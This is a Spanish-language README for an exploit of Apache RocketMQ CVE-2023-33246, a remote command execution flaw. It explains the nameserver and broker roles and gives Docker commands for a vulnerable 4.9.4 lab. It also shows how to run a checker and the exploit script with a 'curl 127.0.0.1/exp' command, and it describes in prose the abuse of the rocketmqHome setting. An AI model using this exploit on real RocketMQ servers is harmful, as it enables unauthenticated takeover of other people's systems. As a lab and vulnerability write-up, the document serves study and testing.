
Exploit para Apache RocketMQ RCE (CVE-2023-33246) que ejecuta comandos arbitrarios mediante la función de actualización de configuración, con configuración del entorno y ejemplos de uso.
Apache RocketMQ es una de las plataformas de mensajería y streaming distribuidas más populares y ampliamente utilizadas. Recientemente se ha reportado una vulnerabilidad de ejecución de comandos en Apache RocketMQ que afecta a la versión 5.1.0 y anteriores. Un usuario remoto no autenticado puede explotar esta vulnerabilidad utilizando la función de actualización de configuración para ejecutar comandos con el mismo nivel de acceso que el proceso de usuario de RocketMQ.
El nameserver en RocketMQ actúa como un registro o almacén de metadatos para toda la infraestructura de mensajería.
Mantiene información sobre temas, colas y los brokers responsables de manejar los mensajes.
Los clientes (productores y consumidores) utilizan el nameserver para descubrir los brokers con los que necesitan comunicarse para publicar o consumir mensajes.
El nameserver es responsable del enrutamiento dinámico, balanceo de carga y conmutación por error dentro del clúster de RocketMQ.
Escucha en un puerto específico (generalmente el puerto 9876 por defecto) las solicitudes entrantes de clientes y brokers.
Los brokers son los motores de trabajo del sistema RocketMQ, responsables de almacenar y gestionar los mensajes.
Cada broker gestiona uno o más temas, que son canales lógicos para la comunicación de mensajes.
Los productores publican mensajes en temas específicos, y los consumidores se suscriben a temas para recibir mensajes.
Los brokers manejan el almacenamiento, replicación y entrega de mensajes a los consumidores según las suscripciones y los patrones de consumo de mensajes.
Mantienen colas de mensajes para cada partición de tema, asegurando un procesamiento y entrega eficientes de mensajes.
Los brokers se comunican con los nameservers para registrarse, actualizar metadatos y participar en los mecanismos de enrutamiento y balanceo de carga del clúster.
Configurar el entorno local de RocketMQ mediante Docker
docker pull apache/rocketmq:4.9.4
### Iniciar nameserver
docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.4 sh mqnamesrv
### Iniciar Broker
docker run -d --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.4 sh mqbroker -c /home/rocketmq/rocketmq-4.9.4/conf/broker.conf
python3 check.py --ip 127.0.0.1 --port 9876

PCAP

La función UpdateBrokerConfig() se activa cuando se recibe una solicitud con el código '25', que está asociado con RequestCode
python3 CVE-2023-33246_RocketMQ_RCE_EXPLOIT.py 127.0.0.1 10911 curl 127.0.0.1/exp

PCAP

Utilizamos la configuración del servidor "rocketmqHome" que se encuentra en el archivo broker.conf. Esta configuración establece el valor de la variable de entorno ROCKETMQ_HOME dentro del proceso de usuario de RocketMQ. Mediante una elaboración cuidadosa de este valor, podemos ejecutar comandos a nuestra elección.

así es como funciona esta vulnerabilidad..